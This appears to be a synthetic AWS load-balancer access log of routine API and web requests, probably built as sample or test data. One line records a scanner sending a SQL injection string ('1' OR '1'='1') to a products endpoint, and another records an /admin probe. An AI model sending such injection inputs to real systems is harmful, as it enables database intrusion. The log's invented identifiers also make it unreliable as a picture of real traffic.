"Root=1-6723cb1d-64d687a1885d4336815c2c74" "-" "-" 7 2024-11-01T01:23:25.502395Z "forward" "-" "-" "10.0.147.9:443" "302" "-" "-" -https 2024-11-01T01:23:27.271532Z staging-alb 86.84.40.213:23652 232.2.245.231:443 0.052996 0.671290 0.033050 301 301 664 1053 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb1f-485c70371a5f4b5e92eec54f" "staging-alb.example.com" "-" 1 2024-11-01T01:23:27.271532Z "forward" "-" "-" "232.2.245.231:443" "301" "-" "-" -https 2024-11-01T01:23:27.686719Z prod-api-alb 181.176.211.241:44247 10.0.28.157:443 0.028771 0.309404 0.062818 404 404 242 8618 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb1f-15a455a6de2241b881512265" "prod-api-alb.example.com" "-" 2 2024-11-01T01:23:27.686719Z "forward" "-" "-" "10.0.28.157:443" "404" "-" "-" -https 2024-11-01T01:23:28.521965Z prod-api-alb 113.204.159.36:57249 10.0.167.207:443 0.021179 0.408587 0.032643 302 302 640 12688 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb20-051acd828017452aa49db87c" "prod-api-alb.example.com" "-" 3 2024-11-01T01:23:28.521965Z "forward" "-" "-" "10.0.167.207:443" "302" "-" "-" -https 2024-11-01T01:23:30.222005Z prod-api-alb 249.35.184.157:55230 10.0.247.8:443 0.026579 0.180657 0.053086 200 200 727 6201 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb22-c1d3beffba7e4797a9041e45" "prod-api-alb.example.com" "-" 3 2024-11-01T01:23:30.222005Z "forward" "-" "-" "10.0.247.8:443" "200" "-" "-" -https 2024-11-01T01:23:30.816367Z prod-api-alb 39.28.154.217:35917 10.0.254.173:443 0.026208 0.439348 0.055574 302 302 287 4061 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb22-b692d476f4e543d7979fea53" "prod-api-alb.example.com" "-" 2 2024-11-01T01:23:30.816367Z "forward" "-" "-" "10.0.254.173:443" "302" "-" "-" -http 2024-11-01T01:23:32.483135Z staging-alb 19.107.59.107:51449 74.158.27.192:80 0.041122 0.394558 0.022057 302 302 523 8986 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb24-edede2da11d540e685ffbfcd" "staging-alb.example.com" "-" 2 2024-11-01T01:23:32.483135Z "forward" "-" "-" "74.158.27.192:80" "302" "-" "-" -https 2024-11-01T01:23:34.213518Z staging-alb 193.27.228.87:39727 141.142.235.232:80 0.132100 0.158505 0.100894 301 301 301 10595 "GET /admin HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb26-7158353657e54a6ba41c6b86" "-" "-" 2 2024-11-01T01:23:34.213518Z "forward" "-" "-" "141.142.235.232:80" "301" "-" "-" -https 2024-11-01T01:23:35.524367Z prod-web-alb 67.95.12.159:17717 10.0.15.121:443 0.055250 0.340408 0.039348 200 200 853 8080 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb27-6994b101d1dd4c6abc3c2418" "prod-web-alb.example.com" "-" 5 2024-11-01T01:23:35.524367Z "forward" "-" "-" "10.0.15.121:443" "200" "-" "-" -http 2024-11-01T01:23:36.129136Z staging-alb 63.210.23.69:57617 57.172.91.221:443 0.088296 0.124510 0.070047 301 301 141 14462 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb28-3d99b91c2beb41a9993bad02" "staging-alb.example.com" "-" 1 2024-11-01T01:23:36.129136Z "forward" "-" "-" "57.172.91.221:443" "301" "-" "-" -https 2024-11-01T01:23:36.580092Z prod-web-alb 254.84.21.223:51892 10.0.42.222:443 0.085480 0.287029 0.077114 200 200 290 12811 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb28-e28e8c7a2d014193ad23c761" "prod-web-alb.example.com" "-" 3 2024-11-01T01:23:36.580092Z "forward" "-" "-" "10.0.42.222:443" "200" "-" "-" -https 2024-11-01T01:23:38.537021Z prod-web-alb 69.170.72.125:59330 10.0.220.92:443 0.095509 0.470778 0.054312 200 200 936 4210 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb2a-d87067d271a64a02880259f7" "prod-web-alb.example.com" "-" 3 2024-11-01T01:23:38.537021Z "forward" "-" "-" "10.0.220.92:443" "200" "-" "-" -https 2024-11-01T01:23:40.360004Z prod-api-alb 40.106.122.195:29553 10.0.5.15:443 0.097178 0.319982 0.054820 404 404 317 9697 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb2c-9ba1360f8dc441508cfe817a" "prod-api-alb.example.com" "-" 3 2024-11-01T01:23:40.360004Z "forward" "-" "-" "10.0.5.15:443" "404" "-" "-" -http 2024-11-01T01:23:41.174231Z staging-alb 31.89.174.69:10145 173.113.141.211:8080 0.003827 0.738234 0.033652 301 301 298 244 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb2d-0cf27e878247413b8959be71" "staging-alb.example.com" "-" 4 2024-11-01T01:23:41.174231Z "forward" "-" "-" "173.113.141.211:8080" "301" "-" "-" -https 2024-11-01T01:23:42.711053Z prod-api-alb 116.40.77.153:28923 10.0.150.51:443 0.079280 0.286820 0.004913 302 302 14 7315 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb2e-65d43a246ec54cf28cb3139b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:23:42.711053Z "forward" "-" "-" "10.0.150.51:443" "302" "-" "-" -https 2024-11-01T01:23:44.389549Z prod-api-alb 60.130.73.230:32765 10.0.108.106:443 0.012014 0.178869 0.036953 200 200 579 6530 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb30-0a9789159f0046fb9b5b78df" "prod-api-alb.example.com" "-" 0 2024-11-01T01:23:44.389549Z "forward" "-" "-" "10.0.108.106:443" "200" "-" "-" -http 2024-11-01T01:23:46.186022Z staging-alb 208.85.228.48:35701 199.5.174.217:8080 0.045715 0.360117 0.106168 200 200 837 9367 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb32-a7ff2a3f70ba4b8b93418b40" "staging-alb.example.com" "-" 5 2024-11-01T01:23:46.186022Z "forward" "-" "-" "199.5.174.217:8080" "200" "-" "-" -https 2024-11-01T01:23:46.574655Z staging-alb 29.26.237.136:42290 94.123.7.70:80 0.074720 0.023427 0.089915 200 200 485 12712 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb32-b2bf5f3503484e6e92e8c38f" "staging-alb.example.com" "-" 0 2024-11-01T01:23:46.574655Z "forward" "-" "-" "94.123.7.70:80" "200" "-" "-" -https 2024-11-01T01:23:47.161288Z prod-api-alb 236.111.213.6:21787 10.0.44.154:443 0.086269 0.321975 0.096332 301 301 725 7862 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb33-cb0840ebe72b4721a6c307f5" "prod-api-alb.example.com" "-" 2 2024-11-01T01:23:47.161288Z "forward" "-" "-" "10.0.44.154:443" "301" "-" "-" -https 2024-11-01T01:23:47.522757Z prod-api-alb 100.152.222.86:37751 10.0.11.147:443 0.088242 0.457828 0.051919 200 200 619 4087 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb33-accb8df5500d4a5ea08ebfc8" "-" "-" 1 2024-11-01T01:23:47.522757Z "forward" "-" "-" "10.0.11.147:443" "200" "-" "-" -https 2024-11-01T01:23:49.236484Z prod-web-alb 19.199.6.223:21354 10.0.149.222:443 0.058457 0.167657 0.075582 404 404 7 10446 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb35-46ac2de262c345c2aae3fa28" "prod-web-alb.example.com" "-" 10 2024-11-01T01:23:49.236484Z "forward" "-" "-" "10.0.149.222:443" "404" "-" "-" -http 2024-11-01T01:23:50.359098Z staging-alb 239.134.33.182:60342 89.237.106.113:8080 0.104012 0.223930 0.141598 200 200 281 7866 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb36-576f01b3589a4965aab92c9f" "staging-alb.example.com" "-" 8 2024-11-01T01:23:50.359098Z "forward" "-" "-" "89.237.106.113:8080" "200" "-" "-" -https 2024-11-01T01:23:50.681867Z prod-api-alb 61.200.82.83:16563 10.0.43.63:443 0.002641 0.153084 0.065686 200 200 445 12579 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb36-9aace8bdc60f4e8ab035440d" "prod-api-alb.example.com" "-" 1 2024-11-01T01:23:50.681867Z "forward" "-" "-" "10.0.43.63:443" "200" "-" "-" -http 2024-11-01T01:23:51.807491Z staging-alb 46.30.187.169:30006 157.136.89.22:8080 0.136002 0.675997 0.048968 200 200 6 4560 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb37-3acee5d001a74b0d8a3f3385" "staging-alb.example.com" "-" 6 2024-11-01T01:23:51.807491Z "forward" "-" "-" "157.136.89.22:8080" "200" "-" "-" -https 2024-11-01T01:23:53.000597Z prod-api-alb 55.149.228.126:17658 10.0.198.238:443 0.037791 0.312724 0.013376 200 200 313 14407 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb39-8763462bfb5d4a759c5a6192" "prod-api-alb.example.com" "-" 2 2024-11-01T01:23:53.000597Z "forward" "-" "-" "10.0.198.238:443" "200" "-" "-" -https 2024-11-01T01:23:54.911105Z prod-api-alb 116.252.245.110:49277 10.0.133.13:443 0.099774 0.035438 0.055916 302 302 383 6661 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb3a-52ffb7d51f9b4cfbaca90fcf" "prod-api-alb.example.com" "-" 9 2024-11-01T01:23:54.911105Z "forward" "-" "-" "10.0.133.13:443" "302" "-" "-" -https 2024-11-01T01:23:55.531363Z prod-api-alb 123.8.239.254:43515 10.0.26.96:443 0.008873 0.062383 0.006928 200 200 999 5426 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb3b-dca0129a63ce44be96593726" "prod-api-alb.example.com" "-" 0 2024-11-01T01:23:55.531363Z "forward" "-" "-" "10.0.26.96:443" "200" "-" "-" -https 2024-11-01T01:23:56.284995Z prod-api-alb 77.244.196.96:39564 10.0.139.176:443 0.036369 0.391898 0.022789 200 200 918 3751 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb3c-07b34e3498c54d87b1c52e30" "prod-api-alb.example.com" "-" 3 2024-11-01T01:23:56.284995Z "forward" "-" "-" "10.0.139.176:443" "200" "-" "-" -https 2024-11-01T01:23:57.011927Z prod-api-alb 170.242.229.28:11584 10.0.219.192:443 0.074500 0.472462 0.031475 200 200 547 14156 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb3d-45eeeade1d994ede8b829bae" "prod-api-alb.example.com" "-" 2 2024-11-01T01:23:57.011927Z "forward" "-" "-" "10.0.219.192:443" "200" "-" "-" -https 2024-11-01T01:23:57.660965Z prod-api-alb 5.115.177.34:38335 10.0.194.202:443 0.039191 0.397051 0.066657 200 200 532 6293 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb3d-08a4af5ab3f14cdbad188e99" "prod-api-alb.example.com" "-" 5 2024-11-01T01:23:57.660965Z "forward" "-" "-" "10.0.194.202:443" "200" "-" "-" -https 2024-11-01T01:23:59.408376Z prod-api-alb 237.251.16.116:11996 10.0.151.65:443 0.073299 0.195910 0.017230 200 200 268 469 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb3f-e81b03fa62a743cdb52a22cc" "prod-api-alb.example.com" "-" 6 2024-11-01T01:23:59.408376Z "forward" "-" "-" "10.0.151.65:443" "200" "-" "-" -https 2024-11-01T01:24:01.259145Z staging-alb 255.135.169.36:54859 178.240.106.129:8080 0.086680 0.713086 0.128989 302 302 835 9481 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb41-f5f977448fcb49f596c6db46" "staging-alb.example.com" "-" 8 2024-11-01T01:24:01.259145Z "forward" "-" "-" "178.240.106.129:8080" "302" "-" "-" -https 2024-11-01T01:24:02.278876Z staging-alb 86.57.184.45:12538 69.245.67.223:443 0.091526 0.067800 0.052832 200 200 334 11474 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb42-a2ee9224eda64b8d898daf1e" "staging-alb.example.com" "-" 7 2024-11-01T01:24:02.278876Z "forward" "-" "-" "69.245.67.223:443" "200" "-" "-" -http 2024-11-01T01:24:02.470457Z staging-alb 156.17.201.81:49353 101.15.201.76:443 0.038282 0.498397 0.054758 200 200 935 7709 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb42-6c7bb71301204b4b9415de55" "staging-alb.example.com" "-" 3 2024-11-01T01:24:02.470457Z "forward" "-" "-" "101.15.201.76:443" "200" "-" "-" -https 2024-11-01T01:24:03.471626Z prod-api-alb 19.111.20.244:12348 10.0.112.7:443 0.026678 0.021725 0.077872 301 301 599 9604 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb43-0a6d0aee0de644a08a9170a5" "prod-api-alb.example.com" "-" 9 2024-11-01T01:24:03.471626Z "forward" "-" "-" "10.0.112.7:443" "301" "-" "-" -https 2024-11-01T01:24:04.028305Z prod-web-alb 224.210.226.62:11149 10.0.149.235:443 0.018944 0.149151 0.090053 404 404 252 12570 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb44-af455656b0a94667932172e6" "prod-web-alb.example.com" "-" 8 2024-11-01T01:24:04.028305Z "forward" "-" "-" "10.0.149.235:443" "404" "-" "-" -http 2024-11-01T01:24:04.359655Z staging-alb 243.59.46.16:30329 170.181.16.212:443 0.076095 0.481761 0.083042 200 200 784 13544 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb44-8c1c1e0eb16840f7b2116f86" "staging-alb.example.com" "-" 2 2024-11-01T01:24:04.359655Z "forward" "-" "-" "170.181.16.212:443" "200" "-" "-" -https 2024-11-01T01:24:05.652546Z staging-alb 240.11.103.190:34673 54.216.109.147:8080 0.046115 0.423242 0.067042 301 301 551 5786 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb45-33093dead19a4128a426fd15" "staging-alb.example.com" "-" 0 2024-11-01T01:24:05.652546Z "forward" "-" "-" "54.216.109.147:8080" "301" "-" "-" -https 2024-11-01T01:24:07.060813Z staging-alb 71.222.30.124:36627 11.250.109.18:80 0.053214 0.625956 0.131411 404 404 930 13554 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb47-5cc92ec1319a4a61b57c0b6d" "staging-alb.example.com" "-" 8 2024-11-01T01:24:07.060813Z "forward" "-" "-" "11.250.109.18:80" "404" "-" "-" -http 2024-11-01T01:24:07.610187Z staging-alb 11.106.239.212:56690 196.68.211.57:8080 0.065828 0.450737 0.121265 302 302 831 5654 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb47-fd932f622fe04bf5b25d507b" "-" "-" 0 2024-11-01T01:24:07.610187Z "forward" "-" "-" "196.68.211.57:8080" "302" "-" "-" -https 2024-11-01T01:24:09.367747Z prod-api-alb 159.192.0.44:30442 10.0.246.210:443 0.036176 0.257925 0.085640 404 404 86 8427 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb49-725a4848306d4020819bc7ac" "prod-api-alb.example.com" "-" 7 2024-11-01T01:24:09.367747Z "forward" "-" "-" "10.0.246.210:443" "404" "-" "-" -https 2024-11-01T01:24:10.405633Z prod-web-alb 22.134.131.251:14616 10.0.195.45:443 0.091793 0.129496 0.049192 200 200 785 13485 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb4a-cd2457f85cae4bcea1b43d58" "prod-web-alb.example.com" "-" 8 2024-11-01T01:24:10.405633Z "forward" "-" "-" "10.0.195.45:443" "200" "-" "-" -https 2024-11-01T01:24:12.018191Z prod-web-alb 242.250.57.117:56385 10.0.10.84:443 0.089302 0.029249 0.047562 200 200 486 11656 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb4c-9be3ce41abdb4c83a7b73e12" "prod-web-alb.example.com" "-" 2 2024-11-01T01:24:12.018191Z "forward" "-" "-" "10.0.10.84:443" "200" "-" "-" -https 2024-11-01T01:24:12.175018Z prod-api-alb 38.26.16.69:62248 10.0.41.88:443 0.021184 0.143340 0.010292 302 302 841 14249 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb4c-fd8dc90e89094952a18ce923" "-" "-" 4 2024-11-01T01:24:12.175018Z "forward" "-" "-" "10.0.41.88:443" "302" "-" "-" -https 2024-11-01T01:24:13.128052Z prod-web-alb 193.27.228.79:26106 10.0.73.252:443 0.079671 0.275961 0.057954 500 500 594 6794 "GET /api/products?category=1' OR '1'='1 HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb4d-fa8fc9e3e11a4a47aa922b5d" "-" "-" 6 2024-11-01T01:24:13.128052Z "forward" "-" "-" "10.0.73.252:443" "500" "-" "-" -https 2024-11-01T01:24:13.302237Z staging-alb 107.218.33.27:45168 48.140.236.25:8080 0.055029 0.027502 0.116652 302 302 919 12959 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb4d-3fb277b7d37748ad839e5436" "staging-alb.example.com" "-" 7 2024-11-01T01:24:13.302237Z "forward" "-" "-" "48.140.236.25:8080" "302" "-" "-" -https 2024-11-01T01:24:13.696828Z prod-web-alb 52.230.102.113:35302 10.0.204.169:443 0.009770 0.318825 0.094175 200 200 33 14869 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb4d-bf8eeadd0a6d4ef7ae76f397" "prod-web-alb.example.com" "-" 10 2024-11-01T01:24:13.696828Z "forward" "-" "-" "10.0.204.169:443" "200" "-" "-" -http 2024-11-01T01:24:15.660799Z staging-alb 103.82.241.51:32758 189.144.237.69:8080 0.125820 0.289083 0.057732 301 301 612 14633 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb4f-8f60913edec243a0bd9d28bf" "staging-alb.example.com" "-" 2 2024-11-01T01:24:15.660799Z "forward" "-" "-" "189.144.237.69:8080" "301" "-" "-" -https 2024-11-01T01:24:17.548876Z staging-alb 35.123.223.3:29608 150.180.5.202:8080 0.005516 0.434336 0.065728 404 404 821 2566 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 